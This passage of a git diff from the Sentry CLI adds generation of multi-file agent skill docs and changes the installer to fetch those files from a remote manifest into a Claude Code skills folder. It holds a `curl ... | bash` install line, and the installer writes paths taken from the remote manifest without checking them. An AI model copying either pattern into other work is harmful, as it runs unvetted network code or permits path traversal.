getPositionalString(cmd.parameters.positional), aliases: cmd.parameters.aliases ?? {}, - examples, + examples: extras.examples ?? [], + description: extras.description, + outputExamples: extras.outputExamples ?? [], }; } @@ -496,7 +882,7 @@ function buildCommandInfo( function extractRouteGroupCommands( routeMap: RouteMap, routeName: string, - docExamples: Map + docs: DocExamples ): CommandInfo[] { const commands: CommandInfo[] = []; @@ -508,8 +894,13 @@ function extractRouteGroupCommands( const subTarget = subEntry.target; if (isCommand(subTarget)) { const path = `sentry ${routeName} ${subEntry.name.original}`; - const examples = docExamples.get(path) ?? []; - commands.push(buildCommandInfo(subTarget, path, examples)); + commands.push( + buildCommandInfo(subTarget, path, { + examples: docs.examples.get(path) ?? [], + description: docs.prose.get(path), + outputExamples: docs.outputExamples.get(path) ?? [], + }) + ); } } @@ -530,22 +921,29 @@ async function extractRoutes(routeMap: RouteMap): Promise { const routeName = entry.name.original; const target = entry.target; - // Load examples from docs for this route - const docExamples = await loadCommandExamples(routeName); + // Load full docs for this route + const docs = await loadCommandDocs(routeName); if (isRouteMap(target)) { result.push({ name: routeName, brief: target.brief, - commands: extractRouteGroupCommands(target, routeName, docExamples), + commands: extractRouteGroupCommands(target, routeName, docs), + supplementary: docs.supplementary, }); } else if (isCommand(target)) { const path = `sentry ${routeName}`; - const examples = docExamples.get(path) ?? []; result.push({ name: routeName, brief: target.brief, - commands: [buildCommandInfo(target, path, examples)], + commands: [ + buildCommandInfo(target, path, { + examples: docs.examples.get(path) ?? [], + description: docs.prose.get(path), + outputExamples: docs.outputExamples.get(path) ?? [], + }), + ], + supplementary: docs.supplementary, }); } } @@ -604,18 +1002,44 @@ function formatFlag(flag: FlagInfo, aliases: Record): string { } /** - * Generate documentation for a single command + * Generate documentation for a single command. + * + * @param cmd - Command metadata + * @param headingLevel - Heading depth for the command title (default 4 = ####) */ -function generateCommandDoc(cmd: CommandInfo): string { +function generateCommandDoc(cmd: CommandInfo, headingLevel = 4): string { const lines: string[] = []; // Command signature const signature = cmd.positional ? `${cmd.path} ${cmd.positional}` : cmd.path; + const hashes = "#".repeat(headingLevel); - lines.push(`#### \`${signature}\``); + lines.push(`${hashes} \`${signature}\``); lines.push(""); lines.push(cmd.brief); + // Prose description from docs (if substantially richer than the brief) + if (cmd.description && cmd.description.length > cmd.brief.length + 20) { + // Strip the leading brief text if duplicated, keep the rest + const briefNorm = cmd.brief.replace(/\.$/, "").toLowerCase(); + const descNorm = cmd.description.replace(/\.$/, "").toLowerCase(); + if (briefNorm === descNorm) { + // Exact match — skip + } else if (descNorm.startsWith(briefNorm)) { + // Description starts with brief — strip the duplicated prefix + const extra = cmd.description.slice(cmd.brief.replace(/\.$/, "").length).trim(); + // Remove leading period/newline if present + const cleaned = extra.replace(/^[.\s]+/, "").trim(); + if (cleaned.length > 20) { + lines.push(""); + lines.push(cleaned); + } + } else { + lines.push(""); + lines.push(cmd.description); + } + } + // Flags section const visibleFlags = cmd.flags.filter( (f) => f.name !== "help" && f.name !== "helpAll" @@ -640,79 +1064,324 @@ function generateCommandDoc(cmd: CommandInfo): string { lines.push("```"); } + // Output examples + if (cmd.outputExamples.length > 0) { + lines.push(""); + lines.push("**Expected output:**"); + lines.push(""); + lines.push("```"); + lines.push(cmd.outputExamples.join("\n\n")); + lines.push("```"); + } + return lines.join("\n"); } /** - * Generate documentation for a route group + * Generate documentation for a route group. + * + * @param route - Route metadata + * @param headingLevel - Base heading depth for the group title (default 3 = ###) */ -function generateRouteDoc(route: RouteInfo): string { +function generateRouteDoc(route: RouteInfo, headingLevel = 3): string { const lines: string[] = []; // Section header const titleCase = route.name.charAt(0).toUpperCase() + route.name.slice(1); - lines.push(`### ${titleCase}`); + const hashes = "#".repeat(headingLevel); + lines.push(`${hashes} ${titleCase}`); lines.push(""); lines.push(route.brief); lines.push(""); // Commands in this route for (const cmd of route.commands) { - lines.push(generateCommandDoc(cmd)); + lines.push(generateCommandDoc(cmd, headingLevel + 1)); lines.push(""); } return lines.join("\n"); } +// ───────────────────────────────────────────────────────────────────────────── +// Use Case Generation +// ───────────────────────────────────────────────────────────────────────────── + /** - * Generate the Available Commands section + * Enrichment content per command group. + * Contains workflows, query patterns, and integration recipes. */ -function generateCommandsSection(routeInfos: RouteInfo[]): string { - const lines: string[] = []; +type GroupEnrichment = { + workflows?: string; + queries?: string; + recipes?: string; +}; - lines.push("## Available Commands"); - lines.push(""); +const ENRICHMENT: Record = { + auth: { + workflows: `### First-time setup +1. Install: \`curl https://cli.sentry.dev/install -fsS | bash\` +2. Authenticate: \`sentry auth login\` +3. Verify: \`sentry auth status\` +4. Explore: \`sentry org list\` + +### CI/CD authentication +1. Create an API token at https://sentry.io/settings/account/api/auth-tokens/ +2. Set token: \`sentry auth login --token $SENTRY_TOKEN\` +3. Verify: \`sentry auth status\``, + }, + issue: { + workflows: `### Diagnose a production issue +1. Find the issue: \`sentry issue list / --query "is:unresolved" --sort freq\` +2. View details: \`sentry issue view \` +3. Get AI root cause: \`sentry issue explain \` +4. Get fix plan: \`sentry issue plan \` +5. Open in browser for full context: \`sentry issue view -w\` + +### Triage recent regressions +1. List new issues: \`sentry issue list / --sort new --period 24h\` +2. Check frequency: \`sentry issue list / --sort freq --limit 5\` +3. Investigate top issue: \`sentry issue view \` +4. Explain root cause: \`sentry issue explain \``, + queries: `- Unresolved errors: \`--query "is:unresolved"\` +- Specific error type: \`--query "TypeError"\` +- By environment: \`--query "environment:production"\` +- Assigned to me: \`--query "assigned:me"\` +- Recent issues: \`--period 24h\` +- Most frequent: \`--sort freq --limit 10\` +- Combined: \`--query "is:unresolved environment:production" --sort freq\``, + recipes: `- Extract issue titles: \`sentry issue list / --json | jq '.[].title'\` +- Get issue counts: \`sentry issue list / --json | jq '.[].count'\` +- List unresolved as CSV: \`sentry issue list / --json --query "is:unresolved" | jq -r '.[] | [.shortId, .title, .count] | @csv'\``, + }, + event: { + workflows: `### Investigate an error event +1. Find the event ID from \`sentry issue view \` output +2. View event details: \`sentry event view \` +3. Open in browser for full stack trace: \`sentry event view -w\``, + }, + log: { + workflows: `### Monitor production logs +1. Stream all logs: \`sentry log list -f\` +2. Filter to errors only: \`sentry log list -f -q 'level:error'\` +3. Investigate a specific log: \`sentry log view \` + +### Debug a specific issue +1. Filter by message content: \`sentry log list -q 'database timeout'\` +2. View error details: \`sentry log view \` +3. Check related trace: follow the Trace ID from the log view output`, + queries: `- Error logs only: \`-q 'level:error'\` +- Warning and above: \`-q 'level:warning'\` +- By message content: \`-q 'database'\` +- Limit results: \`--limit 50\` +- Stream with interval: \`-f 5\` (poll every 5 seconds)`, + recipes: `- Extract error messages: \`sentry log list --json -q 'level:error' | jq '.[].message'\` +- Filter by level in JSON: \`sentry log list --json | jq '.[] | select(.level == "error")'\``, + }, + trace: { + workflows: `### Investigate slow requests +1. List recent traces: \`sentry trace list --sort duration\` +2. View slowest trace: \`sentry trace view \` +3. Open in browser for waterfall view: \`sentry trace view -w\``, + queries: `- Sort by duration: \`--sort duration\` +- Search traces: \`--query "http.method:GET"\` +- Limit results: \`--limit 50\``, + }, + api: { + workflows: `### Bulk update issues +1. Find issues: \`sentry api /projects///issues/?query=is:unresolved --paginate\` +2. Update status: \`sentry api /issues// --method PUT --field status=resolved\` +3. Assign issue: \`sentry api /issues// --method PUT --field assignedTo="user@example.com"\` + +### Explore the API +1. List organizations: \`sentry api /organizations/\` +2. List projects: \`sentry api /organizations//projects/\` +3. Check rate limits: \`sentry api /organizations/ --include\``, + recipes: `- Get organization slugs: \`sentry api /organizations/ | jq '.[].slug'\` +- List project slugs: \`sentry api /organizations//projects/ | jq '.[].slug'\` +- Count issues by status: \`sentry api /projects///issues/?query=is:unresolved | jq 'length'\``, + }, + cli: { + workflows: `### Update the CLI +1. Check for updates: \`sentry cli upgrade --check\` +2. Upgrade: \`sentry cli upgrade\` + +### Switch to nightly builds +1. Switch channel: \`sentry cli upgrade nightly\` +2. Subsequent updates track nightly: \`sentry cli upgrade\` +3. Switch back to stable: \`sentry cli upgrade stable\``, + }, + init: { + workflows: `### Set up a new project +1. Navigate to project: \`cd my-app\` +2. Authenticate: \`sentry auth login\` +3. Preview changes: \`sentry init --dry-run\` +4. Run the wizard: \`sentry init\` + +### Non-interactive CI setup +1. \`sentry auth login --token $SENTRY_TOKEN\` +2. \`sentry init --yes --features errors,tracing\``, + }, + org: { + recipes: `- Get org slugs: \`sentry org list --json | jq '.[].slug'\``, + }, + project: { + recipes: `- List project slugs: \`sentry project list --json | jq '.[].slug'\` +- Filter by platform: \`sentry project list --platform python --json | jq '.[].name'\``, + }, + repo: { + workflows: `### Check linked repositories +1. List repos: \`sentry repo list\` +2. Get details as JSON: \`sentry repo list --json\` +3. Use the API for more details: \`sentry api /organizations//repos/\``, + recipes: `- Get repo names: \`sentry repo list --json | jq '.[].name'\` +- Get repo providers: \`sentry repo list --json | jq '.[] | {name, provider}'\``, + }, + team: { + workflows: `### Find teams and their projects +1. List teams: \`sentry team list\` +2. Get team details via API: \`sentry api /teams///\` +3. List team projects: \`sentry api /teams///projects/\``, + recipes: `- Get team slugs: \`sentry team list --json | jq '.[].slug'\` +- Count teams: \`sentry team list --json | jq 'length'\``, + }, +}; - // Define the order we want routes to appear - const routeOrder = [ - "help", - "auth", - "org", - "project", - "issue", - "event", - "api", - ]; +// ───────────────────────────────────────────────────────────────────────────── +// Multi-File Generation +// ───────────────────────────────────────────────────────────────────────────── - // Sort routes by our preferred order - const sortedRoutes = [...routeInfos].sort((a, b) => { - const aIndex = routeOrder.indexOf(a.name); - const bIndex = routeOrder.indexOf(b.name); +/** Preferred order for routes in the index table */ +const ROUTE_ORDER = [ + "auth", + "org", + "project", + "issue", + "event", + "api", + "cli", + "repo", + "team", + "log", + "trace", + "init", +]; + +/** + * Sort routes by preferred display order + */ +function sortRoutes(routeInfos: RouteInfo[]): RouteInfo[] { + return [...routeInfos].sort((a, b) => { + const aIndex = ROUTE_ORDER.indexOf(a.name); + const bIndex = ROUTE_ORDER.indexOf(b.name); const aOrder = aIndex === -1 ? 999 : aIndex; const bOrder = bIndex === -1 ? 999 : bIndex; return aOrder - bOrder; }); +} + +/** + * Determine which reference file a route belongs to. + * Shortcuts map to their parent; regular routes map to themselves. + */ +function getReferenceGroup(routeName: string): string | null { + if (routeName === "help") { + return null; // Skip help command + } + return SHORTCUT_TO_PARENT[routeName] ?? routeName; +} - for (const route of sortedRoutes) { - // Skip help command from detailed docs (it's self-explanatory) - if (route.name === "help") { +/** + * Group routes by reference file. + * Returns a map from reference filename (without .md) to { primary route, shortcut routes }. + */ +function groupRoutesByReference(routeInfos: RouteInfo[]): Map< + string, + { primary: RouteInfo; shortcuts: RouteInfo[] } +> { + const groups = new Map< + string, + { primary: RouteInfo; shortcuts: RouteInfo[] } + >(); + + for (const route of routeInfos) { + const group = getReferenceGroup(route.name); + if (!group) { continue; } - lines.push(generateRouteDoc(route)); + const existing = groups.get(group); + if (SHORTCUT_TO_PARENT[route.name]) { + // This is a shortcut + if (existing) { + existing.shortcuts.push(route); + } else { + groups.set(group, { primary: undefined!, shortcuts: [route] }); + } + } else { + // This is the primary route + if (existing) { + existing.primary = route; + } else { + groups.set(group, { primary: route, shortcuts: [] }); + } + } } - return lines.join("\n"); + return groups; } /** - * Generate the Output Formats section from docs + * Generate the SKILL.md index file content. */ -async function generateOutputFormatsSection(): Promise { +async function generateIndex(routeInfos: RouteInfo[]): Promise { + const sorted = sortRoutes(routeInfos); + const prerequisites = await loadPrerequisites(); const overview = await loadCommandsOverview(); const lines: string[] = []; + + // Front matter + lines.push(generateFrontMatter()); + lines.push(""); + + // Title + description + lines.push("# Sentry CLI Usage Guide"); + lines.push(""); + lines.push( + "Help users interact with Sentry from the command line using the `sentry` CLI." + ); + lines.push(""); + + // Prerequisites + lines.push(prerequisites); + lines.push(""); + + // Command table + lines.push("## Available Commands"); + lines.push(""); + lines.push("| Command | Description | Reference |"); + lines.push("|---------|-------------|-----------|"); + + // Track which reference groups we've already listed + const listedGroups = new Set(); + + for (const route of sorted) { + const group = getReferenceGroup(route.name); + if (!group || listedGroups.has(group)) { + continue; + } + listedGroups.add(group); + + const titleCase = group.charAt(0).toUpperCase() + group.slice(1); + lines.push( + `| \`sentry ${group}\` | ${route.brief} | [${titleCase} commands](references/${group}.md) |` + ); + } + + lines.push(""); + + // Output Formats section lines.push("## Output Formats"); lines.push(""); @@ -738,39 +1407,160 @@ async function generateOutputFormatsSection(): Promise { ); } + lines.push(""); + return lines.join("\n"); } /** - * Generate the complete SKILL.md content + * Generate a reference file for a command group. */ -async function generateSkillMarkdown(routeMap: RouteMap): Promise { - const routeInfos = await extractRoutes(routeMap); - const prerequisites = await loadPrerequisites(); - const outputFormats = await generateOutputFormatsSection(); - - const sections = [ - generateFrontMatter(), - "", - "# Sentry CLI Usage Guide", - "", - "Help users interact with Sentry from the command line using the `sentry` CLI.", - "", - prerequisites, - "", - generateCommandsSection(routeInfos), - outputFormats, - "", +function generateReferenceFile( + primary: RouteInfo, + shortcuts: RouteInfo[] +): string { + const lines: string[] = []; + const groupName = primary.name; + const titleCase = groupName.charAt(0).toUpperCase() + groupName.slice(1); + + // Title + lines.push(`# ${titleCase} Commands`); + lines.push(""); + lines.push(primary.brief); + lines.push(""); + + // Commands (using # → ## hierarchy for reference files) + for (const cmd of primary.commands) { + lines.push(generateCommandDoc(cmd, 2)); + lines.push(""); + } + + // Shortcuts section (with flag note) + if (shortcuts.length > 0) { + lines.push("## Shortcuts"); + lines.push(""); + for (const shortcut of shortcuts) { + const shortcutCmd = shortcut.commands[0]; + if (shortcutCmd) { + // Find the primary command whose brief matches the shortcut's brief + const matchingCmd = primary.commands.find( + (c) => c.brief === shortcutCmd.brief + ); + const targetPath = + matchingCmd?.path ?? primary.commands[0]?.path ?? `sentry ${groupName}`; + lines.push( + `- \`sentry ${shortcut.name}\` → shortcut for \`${targetPath}\` (accepts the same flags)` + ); + } + } + lines.push(""); + } + + // Supplementary sections from docs (deduplicated by heading) + if (primary.supplementary.length > 0) { + const seen = new Set(); + for (const section of primary.supplementary) { + if (seen.has(section.heading)) continue; + seen.add(section.heading); + lines.push(`## ${section.heading}`); + lines.push(""); + lines.push(section.content); + lines.push(""); + } + } + + // Enrichment: workflows, queries, recipes + const enrichment = ENRICHMENT[groupName]; + if (enrichment) { + if (enrichment.workflows) { + lines.push("## Workflows"); + lines.push(""); + lines.push(enrichment.workflows); + lines.push(""); + } + + if (enrichment.queries) { + lines.push("## Common Queries"); + lines.push(""); + lines.push(enrichment.queries); + lines.push(""); + } + + if (enrichment.recipes) { + lines.push("## JSON Recipes"); + lines.push(""); + lines.push(enrichment.recipes); + lines.push(""); + } + } + + return lines.join("\n"); +} + +/** + * Generate the index.json manifest for remote installation. + */ +function generateIndexJson(referenceFiles: string[]): string { + const files = [ + "SKILL.md", + ...referenceFiles.map((f) => `references/${f}.md`), ]; - return sections.join("\n"); + const index = { + skills: [ + { + name: "sentry-cli", + description: + "Guide for using the Sentry CLI to interact with Sentry from the command line. Use when the user asks about viewing issues, events, projects, organizations, making API calls, or authenticating with Sentry via CLI.", + files, + }, + ], + }; + + return JSON.stringify(index, null, 2) + "\n"; } // ───────────────────────────────────────────────────────────────────────────── // Main // ───────────────────────────────────────────────────────────────────────────── -const content = await generateSkillMarkdown(routes as unknown as RouteMap); -await Bun.write(OUTPUT_PATH, content); +const routeInfos = await extractRoutes(routes as unknown as RouteMap); +const groups = groupRoutesByReference(routeInfos); + +// Clean and recreate references directory +rmSync(REFERENCES_DIR, { recursive: true, force: true }); +mkdirSync(REFERENCES_DIR, { recursive: true }); + +// Write SKILL.md index +const indexContent = await generateIndex(routeInfos); +await Bun.write(`${OUTPUT_DIR}/SKILL.md`, indexContent); + +// Write reference files in ROUTE_ORDER +const referenceFiles: string[] = []; +for (const groupName of ROUTE_ORDER) { + const group = groups.get(groupName); + if (!group?.primary) { + continue; + } + referenceFiles.push(groupName); + const content = generateReferenceFile(group.primary, group.shortcuts); + await Bun.write(`${REFERENCES_DIR}/${groupName}.md`, content); +} + +// Also write any groups not in ROUTE_ORDER (future-proofing) +for (const [groupName, group] of groups) { + if (!ROUTE_ORDER.includes(groupName) && group.primary) { + referenceFiles.push(groupName); + const content = generateReferenceFile(group.primary, group.shortcuts); + await Bun.write(`${REFERENCES_DIR}/${groupName}.md`, content); + } +} + +// Write index.json +await Bun.write(INDEX_JSON_PATH, generateIndexJson(referenceFiles)); -console.log(`Generated ${OUTPUT_PATH}`); +console.log(`Generated ${OUTPUT_DIR}/SKILL.md`); +console.log( + `Generated ${referenceFiles.length} reference files in ${REFERENCES_DIR}/` +); +console.log(`Generated ${INDEX_JSON_PATH}`); diff --git a/src/lib/agent-skills.ts b/src/lib/agent-skills.ts index 24ac4624..2ffa6e8b 100644 --- a/src/lib/agent-skills.ts +++ b/src/lib/agent-skills.ts @@ -2,10 +2,13 @@ * Agent skill installation for AI coding assistants. * * Detects supported AI coding agents (currently Claude Code) and installs - * the Sentry CLI skill file so the agent can use CLI commands effectively. + * the Sentry CLI skill files so the agent can use CLI commands effectively. * * The skill content is fetched from GitHub, version-pinned to the installed * CLI version to avoid documenting commands that don't exist in the binary. + * + * Fetches an index.json manifest first to discover all skill files + * (SKILL.md + references/*.md), then fetches them in parallel. */ import { existsSync, mkdirSync } from "node:fs"; @@ -14,9 +17,9 @@ import { getUserAgent } from "./constants.js"; /** Where completions are installed */ export type AgentSkillLocation = { - /** Path where the skill file was installed */ + /** Path where the skill files were installed */ path: string; - /** Whether the file was created or already existed */ + /** Whether the directory was created or already existed */ created: boolean; }; @@ -26,15 +29,15 @@ export type AgentSkillLocation = { */ const GITHUB_RAW_BASE = "https://raw.githubusercontent.com/getsentry/cli"; -/** Path to the SKILL.md within the repository */ -const SKILL_RELATIVE_PATH = "plugins/sentry-cli/skills/sentry-cli/SKILL.md"; +/** Path to the skill directory within the repository */ +const SKILL_RELATIVE_DIR = "plugins/sentry-cli/skills/sentry-cli"; /** - * Fallback URL when the versioned file isn't available (e.g., dev builds). + * Fallback base URL when the versioned files aren't available (e.g., dev builds). * Served from the docs site via the well-known skills discovery endpoint. */ -const FALLBACK_SKILL_URL = - "https://cli.sentry.dev/.well-known/skills/sentry-cli/SKILL.md"; +const FALLBACK_BASE_URL = + "https://cli.sentry.dev/.well-known/skills/sentry-cli"; /** Timeout for fetching skill content (5 seconds) */ const FETCH_TIMEOUT_MS = 5000; @@ -50,9 +53,9 @@ export function detectClaudeCode(homeDir: string): boolean { } /** - * Get the installation path for the Sentry CLI skill in Claude Code. + * Get the installation directory for the Sentry CLI skill in Claude Code. * - * Skills are stored under ~/.claude/skills//SKILL.md, + * Skills are stored under ~/.claude/skills//, * matching the convention used by the `npx skills` tool. */ export function getSkillInstallPath(homeDir: string): string { @@ -60,7 +63,7 @@ export function getSkillInstallPath(homeDir: string): string { } /** - * Build the URL to fetch the SKILL.md for a given CLI version. + * Build the base URL for fetching skill files for a given CLI version. * * For release versions, points to the exact tagged commit on GitHub * to ensure the skill documentation matches the installed commands. @@ -68,62 +71,149 @@ export function getSkillInstallPath(homeDir: string): string { * * @param version - The CLI version string (e.g., "0.8.0", "0.9.0-dev.0") */ -export function getSkillUrl(version: string): string { +export function getSkillBaseUrl(version: string): string { if (version.includes("dev") || version === "0.0.0") { - return FALLBACK_SKILL_URL; + return FALLBACK_BASE_URL; + } + return `${GITHUB_RAW_BASE}/${version}/${SKILL_RELATIVE_DIR}`; +} + +// Keep backward-compatible alias +export { getSkillBaseUrl as getSkillUrl }; + +/** + * Fetch a single file from a URL, returning its content or null on failure. + */ +async function fetchFile( + url: string, + headers: Record +): Promise { + try { + const response = await fetch(url, { + headers, + signal: AbortSignal.timeout(FETCH_TIMEOUT_MS), + }); + if (response.ok) { + return await response.text(); + } + return null; + } catch { + return null; + } +} + +/** Expected shape of the index.json manifest */ +type SkillIndex = { + skills: Array<{ + name: string; + files: string[]; + }>; +}; + +/** + * Fetch the list of skill files from the index.json manifest. + * Returns the file list or a default if the manifest can't be fetched. + */ +async function fetchSkillFileList( + baseUrl: string, + headers: Record +): Promise { + const indexUrl = `${baseUrl.replace(/\/sentry-cli$/, "")}/index.json`; + const content = await fetchFile(indexUrl, headers); + + if (content) { + try { + const index = JSON.parse(content) as SkillIndex; + const skill = index.skills?.find((s) => s.name === "sentry-cli"); + if (skill?.files && skill.files.length > 0) { + return skill.files; + } + } catch { + // Fall through to default + } } - return `${GITHUB_RAW_BASE}/${version}/${SKILL_RELATIVE_PATH}`; + + // Default: just SKILL.md (backward compatible) + return ["SKILL.md"]; } /** - * Fetch the SKILL.md content for a given CLI version. + * Fetch all skill files for a given CLI version. * - * Tries the version-pinned GitHub URL first. If that fails (e.g., the tag - * doesn't exist yet), falls back to the latest from cli.sentry.dev. - * Returns null if both attempts fail — network errors are not propagated - * since skill installation is a best-effort enhancement. + * Tries the version-pinned GitHub URL first. If index.json or SKILL.md + * fails from GitHub, falls back to cli.sentry.dev. + * Returns a map of relative paths to content, or null if the primary + * SKILL.md can't be fetched from either source. * * @param version - The CLI version string */ export async function fetchSkillContent( version: string -): Promise { - const primaryUrl = getSkillUrl(version); +): Promise | null> { + const primaryBaseUrl = getSkillBaseUrl(version); const headers = { "User-Agent": getUserAgent() }; - try { - const response = await fetch(primaryUrl, { - headers, - signal: AbortSignal.timeout(FETCH_TIMEOUT_MS), - }); + // Try to fetch the file list from index.json + const fileList = await fetchSkillFileList(primaryBaseUrl, headers); - if (response.ok) { - return await response.text(); + // Fetch all files in parallel from primary URL + const results = await Promise.allSettled( + fileList.map(async (filePath) => { + const content = await fetchFile( + `${primaryBaseUrl}/${filePath}`, + headers + ); + return { filePath, content }; + }) + ); + + const files = new Map(); + for (const result of results) { + if (result.status === "fulfilled" && result.value.content !== null) { + files.set(result.value.filePath, result.value.content); } + } - // If the versioned URL failed and it's not already the fallback, try fallback - if (primaryUrl !== FALLBACK_SKILL_URL) { - const fallbackResponse = await fetch(FALLBACK_SKILL_URL, { - headers, - signal: AbortSignal.timeout(FETCH_TIMEOUT_MS), - }); + // SKILL.md is required — if it's missing, try fallback + if (!files.has("SKILL.md")) { + if (primaryBaseUrl !== FALLBACK_BASE_URL) { + // Try fallback for all files + const fallbackFileList = await fetchSkillFileList( + FALLBACK_BASE_URL, + headers + ); + const fallbackResults = await Promise.allSettled( + fallbackFileList.map(async (filePath) => { + const content = await fetchFile( + `${FALLBACK_BASE_URL}/${filePath}`, + headers + ); + return { filePath, content }; + }) + ); - if (fallbackResponse.ok) { - return await fallbackResponse.text(); + files.clear(); + for (const result of fallbackResults) { + if (result.status === "fulfilled" && result.value.content !== null) { + files.set(result.value.filePath, result.value.content); + } } } - return null; - } catch { - return null; + // Still no SKILL.md → give up + if (!files.has("SKILL.md")) { + return null; + } } + + return files; } /** * Install the Sentry CLI agent skill for Claude Code. * * Checks if Claude Code is installed, fetches the version-appropriate - * SKILL.md, and writes it to the Claude Code skills directory. + * skill files, and writes them to the Claude Code skills directory. * Returns null (without throwing) if Claude Code isn't detected, * the fetch fails, or any other error occurs. * @@ -139,24 +229,32 @@ export async function installAgentSkills( return null; } - const content = await fetchSkillContent(version); - if (!content) { + const files = await fetchSkillContent(version); + if (!files) { return null; } try { - const path = getSkillInstallPath(homeDir); - const dir = dirname(path); + const skillDir = join(homeDir, ".claude", "skills", "sentry-cli"); - if (!existsSync(dir)) { - mkdirSync(dir, { recursive: true, mode: 0o755 }); + if (!existsSync(skillDir)) { + mkdirSync(skillDir, { recursive: true, mode: 0o755 }); } - const alreadyExists = existsSync(path); - await Bun.write(path, content); + const alreadyExists = existsSync(join(skillDir, "SKILL.md")); + + // Write all fetched files + for (const [filePath, content] of files) { + const fullPath = join(skillDir, filePath); + const dir = dirname(fullPath); + if (!existsSync(dir)) { + mkdirSync(dir, { recursive: true, mode: 0o755 }); + } + await Bun.write(fullPath, content); + } return { - path, + path: join(skillDir, "SKILL.md"), created: !alreadyExists, }; } catch { diff --git a/test/commands/cli/setup.test.ts b/test/commands/cli/setup.test.ts index 1349443d..58601de9 100644 --- a/test/commands/cli/setup.test.ts +++ b/test/commands/cli/setup.test.ts @@ -520,12 +520,35 @@ describe("sentry cli setup", () => { }); describe("agent skills", () => { + const SAMPLE_INDEX_JSON = JSON.stringify({ + skills: [ + { + name: "sentry-cli", + files: ["SKILL.md", "references/auth.md", "references/issue.md"], + }, + ], + }); + beforeEach(() => { originalFetch = globalThis.fetch; - mockFetch( - async () => - new Response("# Sentry CLI Skill\nTest content", { status: 200 }) - ); + mockFetch(async (url) => { + const urlStr = typeof url === "string" ? url : url.toString(); + if (urlStr.endsWith("index.json")) { + return new Response(SAMPLE_INDEX_JSON, { status: 200 }); + } + if (urlStr.endsWith("SKILL.md")) { + return new Response("# Sentry CLI Skill\nTest content", { + status: 200, + }); + } + if (urlStr.endsWith("auth.md")) { + return new Response("# Auth\nAuth content", { status: 200 }); + } + if (urlStr.endsWith("issue.md")) { + return new Response("# Issue\nIssue content", { status: 200 }); + } + return new Response("Not found", { status: 404 }); + }); }); afterEach(() => { @@ -555,7 +578,7 @@ describe("sentry cli setup", () => { expect(combined).toContain("Agent skills:"); expect(combined).toContain("Installed to"); - // Verify the file was actually written + // Verify SKILL.md was written const skillPath = join( testDir, ".claude", @@ -564,6 +587,18 @@ describe("sentry cli setup", () => { "SKILL.md" ); expect(existsSync(skillPath)).toBe(true); + + // Verify references directory was created with files + const refsDir = join( + testDir, + ".claude", + "skills", + "sentry-cli", + "references" + ); + expect(existsSync(refsDir)).toBe(true); + expect(existsSync(join(refsDir, "auth.md"))).toBe(true); + expect(existsSync(join(refsDir, "issue.md"))).toBe(true); }); test("silently skips when Claude Code is not detected", async () => { diff --git a/test/lib/agent-skills.test.ts b/test/lib/agent-skills.test.ts index afbf3824..f81ecf6c 100644 --- a/test/lib/agent-skills.test.ts +++ b/test/lib/agent-skills.test.ts @@ -2,7 +2,7 @@ * Agent Skills Tests * * Unit tests for Claude Code detection, version-pinned URL construction, - * skill content fetching, and file installation. + * multi-file skill content fetching, and file installation. */ import { afterEach, beforeEach, describe, expect, test } from "bun:test"; @@ -26,6 +26,16 @@ function mockFetch( globalThis.fetch = fn as typeof globalThis.fetch; } +/** Sample index.json for multi-file tests */ +const SAMPLE_INDEX_JSON = JSON.stringify({ + skills: [ + { + name: "sentry-cli", + files: ["SKILL.md", "references/auth.md", "references/issue.md"], + }, + ], +}); + beforeEach(() => { originalFetch = globalThis.fetch; }); @@ -71,7 +81,7 @@ describe("agent-skills", () => { test("returns versioned GitHub URL for release versions", () => { const url = getSkillUrl("0.8.0"); expect(url).toBe( - "https://raw.githubusercontent.com/getsentry/cli/0.8.0/plugins/sentry-cli/skills/sentry-cli/SKILL.md" + "https://raw.githubusercontent.com/getsentry/cli/0.8.0/plugins/sentry-cli/skills/sentry-cli" ); }); @@ -83,31 +93,50 @@ describe("agent-skills", () => { test("returns fallback URL for dev versions", () => { const url = getSkillUrl("0.9.0-dev.0"); expect(url).toBe( - "https://cli.sentry.dev/.well-known/skills/sentry-cli/SKILL.md" + "https://cli.sentry.dev/.well-known/skills/sentry-cli" ); }); test("returns fallback URL for 0.0.0", () => { const url = getSkillUrl("0.0.0"); expect(url).toBe( - "https://cli.sentry.dev/.well-known/skills/sentry-cli/SKILL.md" + "https://cli.sentry.dev/.well-known/skills/sentry-cli" ); }); test("returns fallback URL for 0.0.0-dev", () => { const url = getSkillUrl("0.0.0-dev"); expect(url).toBe( - "https://cli.sentry.dev/.well-known/skills/sentry-cli/SKILL.md" + "https://cli.sentry.dev/.well-known/skills/sentry-cli" ); }); }); describe("fetchSkillContent", () => { - test("returns content on successful fetch", async () => { - mockFetch(async () => new Response("# Skill Content", { status: 200 })); + test("returns map with all files on successful fetch", async () => { + mockFetch(async (url) => { + const urlStr = typeof url === "string" ? url : url.toString(); + if (urlStr.endsWith("index.json")) { + return new Response(SAMPLE_INDEX_JSON, { status: 200 }); + } + if (urlStr.endsWith("SKILL.md")) { + return new Response("# Index", { status: 200 }); + } + if (urlStr.endsWith("auth.md")) { + return new Response("# Auth", { status: 200 }); + } + if (urlStr.endsWith("issue.md")) { + return new Response("# Issue", { status: 200 }); + } + return new Response("Not found", { status: 404 }); + }); - const content = await fetchSkillContent("0.8.0"); - expect(content).toBe("# Skill Content"); + const files = await fetchSkillContent("0.8.0"); + expect(files).not.toBeNull(); + expect(files!.size).toBe(3); + expect(files!.get("SKILL.md")).toBe("# Index"); + expect(files!.get("references/auth.md")).toBe("# Auth"); + expect(files!.get("references/issue.md")).toBe("# Issue"); }); test("falls back to cli.sentry.dev when versioned URL returns 404", async () => { @@ -118,14 +147,21 @@ describe("agent-skills", () => { if (urlStr.includes("raw.githubusercontent.com")) { return new Response("Not found", { status: 404 }); } + if (urlStr.endsWith("index.json")) { + return new Response( + JSON.stringify({ + skills: [{ name: "sentry-cli", files: ["SKILL.md"] }], + }), + { status: 200 } + ); + } return new Response("# Fallback Content", { status: 200 }); }); - const content = await fetchSkillContent("99.99.99"); - expect(content).toBe("# Fallback Content"); - expect(fetchedUrls).toHaveLength(2); - expect(fetchedUrls[0]).toContain("raw.githubusercontent.com"); - expect(fetchedUrls[1]).toContain("cli.sentry.dev"); + const files = await fetchSkillContent("99.99.99"); + expect(files).not.toBeNull(); + expect(files!.get("SKILL.md")).toBe("# Fallback Content"); + expect(fetchedUrls.some((u) => u.includes("cli.sentry.dev"))).toBe(true); }); test("does not double-fetch fallback URL for dev versions", async () => { @@ -133,19 +169,31 @@ describe("agent-skills", () => { mockFetch(async (url) => { const urlStr = typeof url === "string" ? url : url.toString(); fetchedUrls.push(urlStr); + if (urlStr.endsWith("index.json")) { + return new 